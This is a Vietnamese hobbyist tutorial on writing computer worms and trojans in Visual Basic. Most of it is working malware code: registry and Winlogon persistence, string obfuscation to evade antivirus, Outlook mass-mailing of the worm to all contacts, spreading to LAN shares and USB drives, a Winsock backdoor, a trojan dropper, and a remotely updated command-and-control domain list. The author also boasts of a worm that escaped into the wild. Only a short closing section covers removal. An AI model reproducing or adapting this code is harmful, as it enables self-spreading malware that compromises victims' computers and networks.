VIRUS MÁY TÍNH TOÀN TẬP NHẬN ĐỊNH VỀ VIRUS MÁY TÍNH I ABC Định nghĩa Một chương trình máy tính được thiết kế dưới dạng một trò chơi khăm, hoặc một sự phá hoại ngầm, có thể tự lây l.
NHẬN ĐỊNH VỀ VIRUS MÁY TÍNH I ABC - Định nghĩa : Một chương trình máy tính được thiết kế dưới dạng một trò chơi khăm, hoặc một sự phá hoại ngầm, có thể tự lây lan bằng cách gắn vào các chương trình khác và tiến hành các thao tác vô ích, vô nghĩa, là thao tác phá hoại Khi một vi rút nhiễm vào đĩa, nó tự lây lan bằng cách gắn vào các chương trình khác hệ thống, kể cả phần mềm hệ thống Giống vi rút ở người, tác hại của vi rút máy tính có thể chưa phát hiện được thời gian vài ngày hay vài tuần Trong thời gian đó mọi đĩa đưa vào hệ máy đều mang theo một bản ẩn của vi rút đó - các đĩa này đều bị nhiễm vi rút Khi vi rút phát tác, chúng gây nhiều hậu quả : từ những thông báo bậy bạ đến những tác động làm lệch lạc khả thực hiện của phần mềm hệ thống, hoặc xóa sạch mọi thông tin đĩa cứng Không phải bao giờ thông báo bậy bạ cũng vi rút gây Okie, thật đơn giản Virus = Một chương trình -> Khơng phải phức tạp hay khó khăn để viết virus (Có nhiều người, kể Dũng còi trước nghĩ ngược lại) II Phân tích : Nên phân biệt cho rõ virus, worm, trojan, adware bạn Bạn nên ý phân biệt từ virus (Nói chung) bao gồm worm, Trojan với virus (Nói riêng) tên cụ thể virus Virus: Là chương trình định nghĩa virus (Nói chung), nhiên hoạt động chủ yếu lây nhiễm trực tiếp vào file đối tượng Ví dụ : Cụ thể chèn thân vào file exe với vị trí thích hợp (Các virus thơng thường chèn vào cuối file sau thêm vài lệnh đoạn Byte đầu file để thực lệnh “Nhảy” từ đoạn mã tới đoạn code virus) Một vài virus Dũng cịi nhận thấy việc chèn tồn vào đoạn đầu chương trình (Chương trình gốc phía sau đoạn Byte này) Nó tự động sửa đổi Icon cho giống file gốc Làm việc : Phần lớn virus làm việc bị kích hoạt vào file bị lây nhiễm (Tiếp tục thao tác lây nhiễm) sau trả lại quyền làm việc lại cho chương trình ban đầu) Tuy nhiên, theo Dũng cịi nhận thấy, có vài (Khơng nhiều) tự động “Tách tốp” thành file riêng làm việc chế độ thường trực (Loại “Lai” với worm) Tác hại : Trong tất loại virus (nói chung) Dũng cịi ớn thằng loại (Worm,Trojan ) cịn diệt cịn loại phải “Mổ” file “Dính chưởng” sau thực việc tách đọan Byte riêng biệt cứu phần data bị nhiễm (Nếu virus mà mã hóa phần pó tay) Rõ ràng việc mà loại gây chiếm dung lượng không nhỏ ổ đĩa nơi lưu trữ chúng (Thông thường PC nhiễm Virus kéo theo có nhiều file bị lây lan) Qúa trình thực thi file (Khi file bị nhiễm) chậm bình thường (Khó nhận lắm) Nhiều thằng lập trình viên ngồi code ẩu, làm vài byte file gốc hay lẫn lộn chi => Dữ liệu ban đầu coi hư (Ít xảy có) Worm : Okie, phải thỏa định nghĩa ban đầu kèm thao tác lây nhiễm qua thứ khác mà không cần file “Mồi” loại virus (Nói riêng) Thơng thường worm lây truyền qua Email, IM (Nói chung qua Internet), qua ổ đĩa lưu động (Đĩa mềm đĩa USB ) Đây loại virus (Nói chung) nhiều Làm việc : Khơng có chi hiểu hay phức tạp loại Một Worm có “Cơng việc” sau (Các công việc mà sâu phải làm) Tự chép vào thư mục hệ thống (Worm muốn “Sống lâu” luôn làm thao tác này) Ghi thông tin khởi động vào hệ thống (Ghi thông tin vào hệ thống để hệ thống khởi động vào lần sau cịn “Làm việc”) : Thao tác thông thường ghi Key Regedit, tạo file đặc biệt với cấu trúc có sẵn (Sẽ nêu rõ phần sau), tự chép vào vị trí đặc biệt mà hệ điều hành tự load khởi động (Có khơng nhiều file có “Vinh dự” hệ điều hành load khởi động) Thao tác lây truyền : Công việc thông thường worm “Nằm chờ” thỏa điều kiện tiến hành lây lan (Như việc thấy có ổ đĩa USB “Lây”) Cịn sau số cơng việc mà số worm làm (Dù không nhiều lắm) : KeyLog : Ok, ghi lại bàn phím ( chà, khơng khó với mức đơn giản đâu) BackDoor (Mở cử hậu) : Dù “Cổ lỗ sĩ” cịn Bom hẹn : Một số lập trình dziên dzui tính, tới “Ngày lành tháng tốt” hay “Giờ lành” cho worm “Làm dziệc” (Nguyên tắc “Bom hẹn giờ”) Bát nháo chút : Một chút “Tưng tưng” cho “Vui nhà vui cửa” mà lập trình dziên dzui tính (Như Dũng cịi) hay làm với worm Tác hại : Ngốn RAM hệ thống : Luôn Ngốn đường truyền net (Nếu worm “Sài” net) Trojan : Okie, thỏa mãn định nghĩa virus nè, cộng thêm phần Nó khơng tự lây lan mà ẩn chương trình có ích “Hay hay”, nhiên lại chứa “Hổng có hay” Nên nhớ Trojan khác với virus, Trojan thân chương trình ban đầu “Có vấn đề” cịn virus ban đầu “Vơ tội” (File nạn nhân ban đầu hồn tồn khơng dính đến virus) Làm việc : Trojan thơng thường có cách làm việc : Thực trực tiếp công việc “Bất chính” bạn kích hoạt Tự động “Thả” “Nằm vùng” PC bạn sau kích hoạt (Đây cách thường thấy) Cái đằng sau “Làm việc” nè Công việc thường thấy Trojan mở hậu (Backdoor : Nói cho dễ hiểu mở cổng để chờ tín hiệu từ server, kết nối trực tiếp với server người điều khiển) Tuy nhiên nói thui thể loại ta làm mà chẳng (Thả worm, adware, spyware ) vơ tư em Tác hại : Có điều trớ trêu Trojan thường soft dành cho bọn tự gọi “Hacker” (Hổng biết có phải dzậy khơng nữa, soft theo Dũng cịi “Kiểm định” phần đơng Trojan) Một số khác phần mềm Free (Ui chao đau đớn ) III Viết thử coi nhá : (Trong giới hạn mình, Dũng hướng dẫn Worm Trojan) Chà viết virus khơng ? chà, dễ ịm Khơng tin à, nhìn thử coi Bảo mật liệu dạng String : Như Dũng cịi phân tích, việc để “Lòi” liệu dạng khiếm khuyến số phần mềm (Dũng còi lấy thành công PassWord data (Làm Access) phần mềm độ sộ (Quên tên tiêu rùi) cách sài Notepad truy tìm hàm truy vấn SQL chuỗi Byte) Với virus (Nói chung) để lộ đoạn string thảm họa (Các AV “Túm cổ” phân tích, người dùng dễ dàng làm “Thịt” virus bạn) Vậy “Anh phải ? “ (Nhạc Đan Trường hay phết nha hì hì) Đơn giản thay giữ nguyên chuỗi String chương trình phân tích Byte chuỗi theo nguyên tắc định sau “Ráp lại” : Ví dụ : Dùng cách quy đổi theo bảng mã Ascii : “DungCoi”= Chr(68)+Chr(117)+Chr(110)+Chr(103)+Chr(67)+Chr(111)+Chr(105) Đoạn code để phân tích Byte đơn giản hàm Chr (Nếu nhác tải Source RealWorm sau vơ thư mục Soft mà tìm Ascii Dũng viết sẵn) Tạo key khởi động : Các bạn nên ý với phương pháp ghi key kiểu Set reg = CreateObject("WScript.Shell") reg.regwrite "HKEY_LOCAL_MAHINE\Software\Microsoft\Windows\ CurrentVersion\Run\Start", App.Path + "\" + App.EXEName + ".exe" Sẽ bị gần tất AV phát -> Dù đơn giản khơng nên sài Phần Dũng trích lại từ viết trước : ‘========================================= I.1 Khởi động hợp pháp : - Khởi động theo cách “Chính quy” Có nghĩa hồn tồn “Hợp pháp” theo chuẩn mực phần mềm thông thường (Cách worm,Trojan thường sài ) Có phương thức sau : I.1.a Ghi Key Regedit theo địa sau : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\Run Code : Module : Option Explicit Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Public Const REG_SZ = ' Unicode nul terminated string Public Const REG_BINARY = ' Free form binary Public Const HKEY_CURRENT_USER = &H80000001 Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String) Dim Ret RegCreateKey hKey, strPath, Ret RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData) RegCloseKey Ret End Sub Sub DelSetting(hKey As Long, strPath As String, strValue As String) Dim Ret RegCreateKey hKey, strPath, Ret RegDeleteValue Ret, strValue RegCloseKey Ret End Sub Form : Dim AppVirus As String Private Sub Form_Load() If Len(App.Path) Then AppVirus = App.Path + "\" + App.exename + (“.exe”) Else AppVirus = App.Path + App.exename + (“.exe”) End If SaveString HKEY_CURRENT_USER, "Software\Microsoft\Windows\ CurrentVersion\Run", "DungCoi", AppVirus ‘ DelSetting HKEY_CURRENT_USER, "Software\Microsoft\Windows\ CurrentVersion\Run", "DungCoi" ‘Thao tác xóa Key End Sub ‘Chú ý : Phần DungCoi ở Tên Key ‘ Phần AppVirus là đường dẫn File bạn I.1.b Phương pháp sử dụng thư mục khởi động : C:\Documents and Settings\DungCoi\Start Menu\Programs\Startup DungCoi = Tên sử dụng hệ thống I.1.c Phương pháp sử dụng tập tin đặc biệt : Có số tập tin mà ghi thông tin với cấu trúc định khởi động chương trình mong muốn khởi động hệ thống (Win.ini System.ini) Thui lên quantrimang.com mà đọc I.1 Khởi động bất hợp pháp : - Việc khơng theo “Quy định” từ trước khiến người phát chí MSCONFIG ko thể nhận - Tuy nhiên, cần ý bạn chưa hiểu hết công việc Key phần ko nên đụng tới (Nếu ẩu làm hệ điều hành khởi động không được) - À, cần nhắc thêm Do phương pháp tác động sâu vào hệ thống nên nguy hiểm không hiểu hết chất chúng Sửa đổi Key Regedit : HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell Code : (Code mẫu với Key Userinit) Ban ý phương pháp cho phép chương trình khởi động chế độ Safe Mode (Rất đáng nể đấy) Module : Option Explicit Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Declare Function RegCreateKey Lib "advapi32.dll" _ Alias "RegCreateKeyA" ( _ ByVal hKey As Long, _ ByVal lpSubKey As String, _ phkResult As Long) As Long Declare Function RegSetValueEx Lib "advapi32.dll" _ Alias "RegSetValueExA" ( _ ByVal hKey As Long, _ ByVal lpValueName As String, _ ByVal Reserved As Long, _ ByVal dwType As Long, _ lpData As Any, _ ByVal cbData As Long) As Long Public Const REG_SZ = Public Const REG_BINARY = Public Const HKEY_CURRENT_USER = &H80000001 Public Const HKEY_LOCAL_MACHINE = &H80000002 Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String) Dim Ret RegCreateKey hKey, strPath, Ret RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData) RegCloseKey Ret End Sub Form : Dim AppVirus As String Dim PathExp As String Private Sub Form_Load() PathExp = “C:\Windows\explorer.exe” If Len(App.Path) Then AppVirus = App.Path + "\" + App.exename + (“.exe”) Else AppVirus = App.Path + App.exename + (“.exe”) End If Shell PathExp SaveString HKEY_LOCAL_MACHINE, “SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Winlogon”, “Userinit”, AppVirus End Sub ‘Phần AppVirus là đường dẫn File bạn ‘Câu lệnh Shell PathExp là cần thiết (Không tin xóa chạy thử đi) Chú ý : Đoạn code có giá trị chương trình biên dịch (Tuyệt đối không chạy thử chưa biên dịch, phải biên dịch chạy thử) Muốn thấy hiệu chạy File biên dịch ấy, khởi động lại thấy kết liền Với kỹ thuật chương trình khởi động Safe Mode Lây nhiễm : Yeah, thao tác địi hỏi nhiều “Sáng tạo” nha a Email : Nguyên tắc sử dụng OE (Outlook Explorer) có sẵn thơng tin từ OE để khai thác gửi email tới đối tượng Tuy nhiên lâu đời nên khơng cịn sài (Cứ tham khảo vui nhé) Dim AppVirus As String If Len(App.Path) Then AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) Else AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) End If Set go = CreateObject(fgo) Set St = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110)) Set out = Wscript.CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110)) ‘Các bạn ý : Tất liệu dạng String Dũng còi qua mã Ascii để trách AV dễ dàng phát Set MAPI = out.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73)) Set a = MAPI.AddressLists(1) For X = To a.AddressEntries.Count Set Mail = St.CreateItem(0) Mail.To = St.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73)).AddressLists(1).AddressEntries(X) Mail.Subject = “Tên nội dung Mail” ‘Ví dụ : Anh Dũng cịi đẹp giai nhức làng Mail.Body = “Nội dung email” ‘Ví dụ : Coi hình người iu Dũng cịi nè Mail.Attachments.Add = AppVirus ‘Đây phần file đính kèm Mail.Send Next St.Quit b LAN không ? Lây truyền mạng LAN gồm thao tác : Xác định thư mục chế độ Share full (Cho phép sửa đổi) Thực thao tác Copy Trong bước khơng có đáng nói (FileCopy) Cái khó thao tác thứ nhất, q trình “Nghiên kíu” Dũng cịi tìm phương thức Sài hàm API để xác định thư mục Share Sài công cụ trung gian Windows lệnh hỗ trợ sẵn hệ điều hành Dùng cách đọc loạt key regedit Cách số khó q, Dũng cịi biết làm ứ Dũng cịi trình bày cách sau : Command : Nguyên tắc cách kêu hệ điều hành làm theo lệnh (Tìm ghi đường dẫn thư mục Share Full vào tập tin) Sau tiến hành đọc tập tin thực thao tác copy Dim AppVirus As String If Len(App.Path) Then AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) Else AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) End If Dim ishell Set ishell = CreateObject("wscript.shell") ishell.run "%comspec% /C net view > C:\plog.tmp", 0, True Set fso = CreateObject("scripting.filesystemobject") Set rd = fso.opentextfile("C:\plog.tmp") nbuff = Do While rd.AtEndOfStream True nbuff = rd.readline If Left(nbuff, 2) = "\\" Then ishell.run "%comspec% /C net view " & Trim(Left(nbuff, 21)) & " > C:\clog.tmp", 0, True Set rdd = fso.opentextfile("C:\clog.tmp") buff = "" Do While rdd.AtEndOfStream True buff = rdd.readline combuff = Right(Trim(buff), 4) If Right(combuff, 4) = "Disk" Then buffadd = Left(buff, 13) If Len(Trim(buffadd)) > Then sharename = a & Trim(Left(nbuff, 21)) & "\" & Trim(buffadd) & a FileCopy AppVirus, sharename & "\" & appl & ".exe" End If End If Loop End If Loop Chú ý : Hầu hết AV chặn cách này, nhiên cách làm việc tuyệt vời (Liệt kê hoàn hảo) Regedit : Nguyên tắc cách thực thao tác đọc hàng loạt Key Regedit (Các thông số hệ điều hành tự ghi nhận từ trước) Dim AppVirus As String If Len(App.Path) Then AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) Else AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) End If Const HKCU = &H80000001 Dim ObjFS Set ObjFS = CreateObject("Scripting.FileSystemObject") Set ObjReg = GetObject("winmgmts:\\.\root\" & _ "Default:StdRegProv") strKeyPath = "SOFTWARE\Microsoft\Windows\" & _ "CurrentVersion\Explorer\WorkgroupCrawler\Shares" ObjReg.EnumKey HKCU, strKeyPath, arrSubKeys For Each subkey In arrSubKeys ObjFS.CopyFile AppVirus,"\\" & subKey & "/dungcoi.exe" , True ‘Có thể dùng hàm FileCopy thay cho việc dùng hàm Next Chú ý : Cách liệt kê không tốt cách hầu hết AV không chặn lại c USB = Mốt : Flashy worm lây lan mạnh Việt Nam tháng 1/2007 mà có vỏn vẹn tính tính ghi Key Regedit mà thui (Hic hic, sinh sau đẻ muộn Dũng cịi khơng muốn phát tán nên RealWorm (Với ông Bkis cập nhật DakNong) xếp vị trí thứ hà buồn thiệt nha híc híc) Con worm dungcoi vơ tình để “Xổng chuồng” (Hồi tai nạn mà để lọt ngồi) Mà lây bên Campuchia (Phải tốn tuần để kiểm định thơng tin đó), cịn nước hổng rõ tới đâu ùi Dù lợi hại thực tính đơn giản dễ làm Hồi trước nghiên cứu tính Dũng cịi chia cơng việc sau : Tìm ổ đĩa USB (Xem có tồn không) - Liệt kê tất ổ đĩa - Kiểm tra xem ổ đĩa đó, ổ đĩa đĩa giao tiếp qua USB (Loại đĩa rời khác đĩa mềm) Tìm tồn thư mục (Lây vô hết cho vui) FileCopy (Qúa đơn giản) Bạn nơi ý cách cách thức Dũng còi sử dụng tạo worm với tên khác nằm thư mục khác có tên trùng với thư mục tương ứng ‘Code boi Dung Coi ‘Email : dungvoivb@gmail.com Private Sub Form_Load() Dim AppVirus As String If Len(App.Path) Then AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) Else AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) End If Dim d, dc Dim fso, cf Set fso = CreateObject("Scripting.FileSystemObject") Set dc = fso.Drives For Each d In dc If (d.DriveType = 1) And (UCase(Left(d, 1)) "A") Then Set cf = fso.GetFolder(d).subfolders For Each fil In cf If TonTai(fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101))) = False Then FileCopy AppVirus, fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101)) TimThuMuc (fil.Path) Next End If Next End Sub ‘===================================== Private Sub TimThuMuc(ThuMuc As String) ‘Thao tác tìm thư mục Dim fso, cf, fil, ext Set fso = CreateObject((Chr(83) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(105) + Chr(110) + Chr(103) + Chr(46) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(83) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(79) + Chr(98) + Chr(106) + Chr(101) + Chr(99) + Chr(116))) 'Scripting.FileSystemObject Set cf = fso.GetFolder(ThuMuc).subfolders For Each fil In cf FileCopy AppVirus, fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101)) TimThuMuc (fil.Path) Next End Sub ‘===================================== Private Function TonTai(filename) As Boolean ‘Kiểm tra tồn File On Error GoTo ErrorHandler TonTai = (Dir(filename) "") Exit Function ErrorHandler: TonTai = False End Function d BackDoor (Mở cửa hậu): Chán chết, ngồi “Mổ cò” PC “Sinh sự” làm ln phần viết BackDoor nên ứ them gõ lại mệt quá, nói sơ qua phần thui : BackDoor : Kỹ thuật mở cổng kết nối trực tiếp tới PC khác, sau từ Server có quyền làm thứ PC nạn nhân (Victim) Như kết nối PC với Phần đông kỹ thuật dùng Trojan có worm lý sau (Do Dũng cịi suy nghĩ thui nha) : - Việc kết nối PC thông thường sài Control trung gian, tự viết ngốn dung lượng worm lớn Cả điều trái với nguyên tắc viết worm thông thường (Phải sử dụng thêm Control làm tăng khả phát sinh lỗi thiếu thư viện, dung lượng cao tức linh hoạt) - Số lượng worm lớn để từ server mà thằng cha viết worm ngồi “Nghiên kíu” cho hết - Việc sử dụng kỹ thuật nguy hiểm cho worm (sẽ bị FireWall phát chặn lại ngay) Như hồn tồn khơng thích thú cho lập trình viên viết (Worm) - Thế mạnh Trojan đáng “Trúng mục tiêu” định (Trojan không lây lan nha) Trong viết Dũng còi hướng dẫn cách kết nối PC (Nếu bạn muốn nghiên cứu kỹ lên http://www.quantrimang.com/ để đọc viết hay chủ đề này) : Nguyên tắc : Vấn đề giúp bạn giải việc kết nối PC với cách dùng Winsock Việc đơn giản, bạn cần tạo Control Winsock phần Clinet-Server (Máy khác-Máy chủ) làm cho chúng liên lạc với Thực : Bước : Tạo dự án Trong bước bạn ấn chọn Standard EXE Bước : Thêm Control Winsock Để thực thao tác bạn chọn theo thực đơn Project -> Components (Hoặc nhắn tổ hợp phím Ctrl+T ) Sau hiển thị hộp thoại bạn chịn Tab Controls (Mặc định Tab này), bạn tìm tên Microsoft Winsock Control 6.0 và đánh dấu chọn nhấn chọn OK Bước : Hãy vẽ Control theo hình sau (Khơng cần phải thay đổi thuộc tính Name) Bước : Nhập mã lệnh cho chương trình Trong cử sổ lệnh bạn nhập đoạn code sau : Private Sub Command1_Click() Winsock2.Close ‘Đóng tất kết nối Winsock (Nếu có) Winsock2.Connect “127.0.0.1”, 1234 ‘Kết nối tới số IP 127.0.0.1 với cổng 1234 End Sub Private Sub Command2_Click() Winsock2.SendData Text1.Text ‘Gửi gói liệu với nội dung TextBox End Sub Private Sub Form_Load() Winsock1.LocalPort = 1234 ‘Cổng nhận liệu Winsock1.Listen ‘Bắt đầu đọc liệu từ cổng xác lập End Sub Private Sub Winsock1_ConnectionRequest(ByVal requested As Long) ‘Biến cố ghi nhận kết nối Winsock1.Close ‘Đóng kết nối Winsock1.Accept requested ‘Chấp nhận kết nối với nơi gửi lệnh kết nối MsgBox “Da ket noi cong” ‘Thơng báo hồn thành kết nối End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ‘Biến cố ghi nhận liệu Dim data As String ‘Khai báo biến lưu trữ gói tin nhận Winsock1.GetData data ‘Ghi liệu nhận vào biến MsgBox data ‘Thơng báo gói liệu End Sub e Kỹ thuật chèn Trojan : Như định nghĩa Trojan, kỹ thuật “Thả “ thứ đen tối Trojan có kỹ thuật kỹ thuật đáng nói (Kỹ thuật khỏi cần nói rồi) Kỹ thuật kỹ thuật trích xuất Trojan từ soft Về có cách làm sau : Tải chương trình muốn kích hoạt chạy từ URL sau kích hoạt chúng Chèn file vào cuối chương trình, sau thao tác xử lý file Tiến hành “Nhốt” Trojan vào Resource (Với VB6) Sau trích xuất chúng Trong cách có kỹ thuật thứ kỹ thuật đơn giản nên Dũng còi hướng dẫn kỹ thuật (Chỉ áp dụng cho ứng dụng bạn viết thui nha) : Tạo Resource chứa trojan Tạo Module chứa đoạn code sau : Public Enum AppResource appresBLANK_MDB = 101 appresMY_DAUGHTER = 102 appresNT_LOGON_SOUND = 103 appresMY_WIFE = 104 End Enum ' ' Author: Clint M LaFever [lafeverc@saic.com] ' Purpose: Extracts a file from the resource file and save ' the file to the destination passed in ' Date: October,18 1999 @ 11:45:53 ' -Public Function TaoFile(destFILE As String, resID As AppResource, Optional resTITLE As String = "CUSTOM") As String On Error GoTo ErrorBuildFileFromResource Dim resBYTE() As Byte resBYTE = LoadResData(resID, resTITLE) Open destFILE For Binary Access Write As #1 Put #1, , resBYTE Close #1 BuildFileFromResource = destFILE Exit Function ErrorBuildFileFromResource: Exit Function End Function Trong form gõ đoạn code sử dụng Function để trích xuất và Shell chúng Okie, đơn giản (Lười nên Dũng cịi nói sơ qua thui hà) f Kỹ thuật viết worm “Nghe lời” : Để sâu tự động cập nhật phiên mới, thay đổi thông điệp để lây truyền qua Y!M, bắt sâu (Trên máy tính nạn nhân) phải làm số việc mà muốn (Tất nhiên cần phải thiết kế sẵn tính này) Chúng ta phải sử dụng kỹ thuật thú vị Các bạn trách nhầm lẫn với kỹ thuật BackDoor “Cổ truyền” nha, kỹ thuật dựa vào khả Download phần tích lệnh để điều khiển toàn worm Nguyên tắc : Thực việc download file nài (URL cố định) máy tính nạn nhân Sau tiến hành phân tích sử lý công việc theo yêu cầu người viết Code (Đây code mẫu Control Download, source mẫu bạn xem source RealWorm) ‘Programmed by David Nedved (Neddy) Option Explicit Public Event Progress(DownLoadedBytes As Long, TotalBytes As Long, sID As String) Public Event Completed(Bytes As Long, sID As String) Private colDest As New Collection Public Sub Download(sWWWFile As String, sDestination As String, Optional sID As String = "Id") On Error Resume Next colDest.Add sDestination, sID UserControl.AsyncRead sWWWFile, vbAsyncTypeFile, sID, vbAsyncReadForceUpdate End Sub Private Sub UserControl_AsyncReadComplete(AsyncProp As AsyncProperty) On Error Resume Next Name AsyncProp.Value As colDest.Item(AsyncProp.PropertyName) colDest.Remove AsyncProp.PropertyName RaiseEvent Completed(AsyncProp.BytesRead, AsyncProp.PropertyName) End Sub Private Sub UserControl_AsyncReadProgress(AsyncProp As AsyncProperty) RaiseEvent Progress(AsyncProp.BytesRead, AsyncProp.BytesMax, AsyncProp.PropertyName) End Sub Public Sub CancelDownload(Optional sID As String = "Id") UserControl.CancelAsyncRead sID End Sub Private Sub UserControl_Resize() UserControl.Height = "495" UserControl.Width = "495" End Sub g Kỹ thuật tạo quyền điều khiển : Với kỹ thuật Dũng cịi đề cập phần f có lẽ nhiều bạn thích thú Tuy nhiên, giả sử cho dù bạn thiết kế thành công điều khiển “Lũ worm”, sau lây lan tới mức “Kha khá” “Chú” an ninh mạng tìm cách phân tích chúng gần 100% truy tìm Domain điều khiển hoạt động worm Họ làm ? Okie, chắn họ khóa tên miền Như đám worm bạn trở thành vơ chủ trùi ui, phí Nếu bạn nghĩ việc tạo nhiều tên miền dự phịng hồn tồn sai, tất chúng bị “Hành quyết” Như cách không mặc định cho worm tên miền trước chúng tự biết cách thay đổi danh sách tên miền từ liệu từ Domain danh sách Đây kỹ thuật lập trình “Sâu bọ” mà Dũng còi tốn nhiều thời gian đáng để tự hào Một kỹ thuật lập trình địi hỏi kỹ lập trình net chủ yếu khả lập trình xử lý file Các thao tác kỹ thuật : Ngay sau biên dịch, tiến hành chèn List (Danh sách) tên miền điều khiển Thiết lập file liệu điều khiển worm từ tên miền Sau lây lan worm đặng kiểm tra tồn tên miền List tên miền có (Kiểm tra qua thao tác Download file) Tại tên miền cịn tồn sử dụng tên miền làm tên miền để tải file Tải toàn file liệu lệnh (Gồm file chứa List tên miền ln cập nhật) Trích xuất List tên miền thao tác phân tích worm (Một List tên miền “Chèn” sẵn worm) So sánh List tên miền vừa down với List (Chứa worm) Nếu List có khác biệt tự động trình thay List cũ list Tự động kích hoạt file tạo (Bản thân worm worm chèn vào List tên miền mới) Chú ý : Tồn thơng tin List tên miền mã hóa Okie, worm tuyệt vời Nhưng kỹ thuật khó thực rõ ràng với cách trình bày Dũng cịi khó hiểu Thơi xem source worm mà Dũng còi sử dụng kỹ thuật (Đó worm vbvn) Lưu ý : Kỹ thuật thích hợp để chơi trò “Mèo vờn chuột” với bác an ninh mạng (Các worm bình thường Gái Xinh tên miền tất cả, cịn với kỹ thuật chí trăm tên miền online đặng khó quyền điều khiển trừ List tên miền bị bác an ninh mạng giải mã thành cơng) Tuy nhiên, với “Trị chơi” bị tóm cổ bác không “Nương tay” cho bạn đâu Thận trọng h Kỹ thuật tự bảo vệ : Hầu hết worm lây lan Việt Nam đều gần khơng có phịng thủ Việc tệ với Vxer Vì nguyên tắc bảo vệ cần thiết Có số cách tự bảo vệ sau : - Ẩn process (Khó bị kill không sài tới soft chuyên nghiệp) - Kỹ thuật tạo process tự bảo vệ lẫn (Đã sử dụng worm DungCoi cải tiến lớn RealWorm) Kỹ thuật không phức tạp, bạn tham khảo source VBVN để xem khả ẩn process (Kể WinXP), xem Source RealWorm (Bkis đặt tên w32.DakNong Worm) để xem khả tự bảo vệ V Tiêu diệt : Viết Virus, rõ ràng thú vui (Ít điều với Dũng cịi) Và tất nhiên, “Thú vui” rùi Dũng không muốn phát tán (Trong worm Dũng viết có vơ tình bị lây lan ngồi) Dù việc viết worm xấu, rõ ràng nhờ nghiên cứu mà Dũng cịi có thêm kiến thức hệ thống, virus AV Việc khiến Dũng cịi tự tạo cho liều “Vắc xin” để phòng ngừa Virus Trong phần này, Dũng còi cách tiêu diệt loại worm thông thường (Và số loại đặc biệt) Dùng phần mềm trung gian : Các phần mềm AV khơng cần phải nói, nhiên với nhiều virus mà AV chưa cập nhật cịn đường diệt thủ cơng mà thơi Okie, diệt chúng nhá Công cụ cần thiết : Process Explorer : Đây phần mềm chuyên nghiệp dùng để theo dõi chương trình hoạt động hệ thống Autoruns : Đây chương trình quản lý tất chương trình tự động khởi động khởi động máy tính Cả chương trình tải miễn phí địa : http://www.sysinternals.com/ a Nhận dạng : a.1 Chương trình hoạt động : Bạn sử dụng Process Explorer để xem chương trình khởi động hệ thống Dựa theo kinh nghiệm với đường dẫn chương trình ProcessXP xác định bạn dễ dàng nhận có hay không tồn virus hệ thống a.2 Key khởi động : Hầu tất virus tự tạo Key khởi động riêng cho để hệ điều hành mở vừa khởi động máy phương pháp hiệu Một virus điển hình chương trình hoạt động hệ thống có key khởi động hệ điều hành (Hãy thận trọng trước “Phán quyết” chường trình có phải virus hay không) b Dọn dẹp : Bạn đừng nghĩ bạn ngắt chương trình xóa key tạo regedit xong việc, virus thường để lại nhiều “Tàn tích” máy tính bạn, thực thao tác chưa đủ b.1 Xác định “Tàn tích” : Chúng ta dùng Process Explorer để xác định chuỗi file virus (Đây nguyên tắc mà phần mềm chống Virus xác định để chống virus) Thao tác sau : Trong Process Explorer bấm chuột phải vào tiến trình (Proscess) virus Sau chọn Properties sau ấn chọn Strings Một loạt chuỗi xuất Sau bạn ngồi tìm chuỗi có dạng đường dẫn ghi lại chúng Đó địa tàn tích b.2 Dọn dẹp : Với virus thông bạn cần dùng Process Explorer để kết thúc làm việc virus (Bấm chuột phải chọn Kill Process) Sau bạn dùng Autoruns để xóa key khởi động virus regedit (Bấm chuột phải chọn Delete) Cuối bạn tìm đến địa “Tàn tích” để 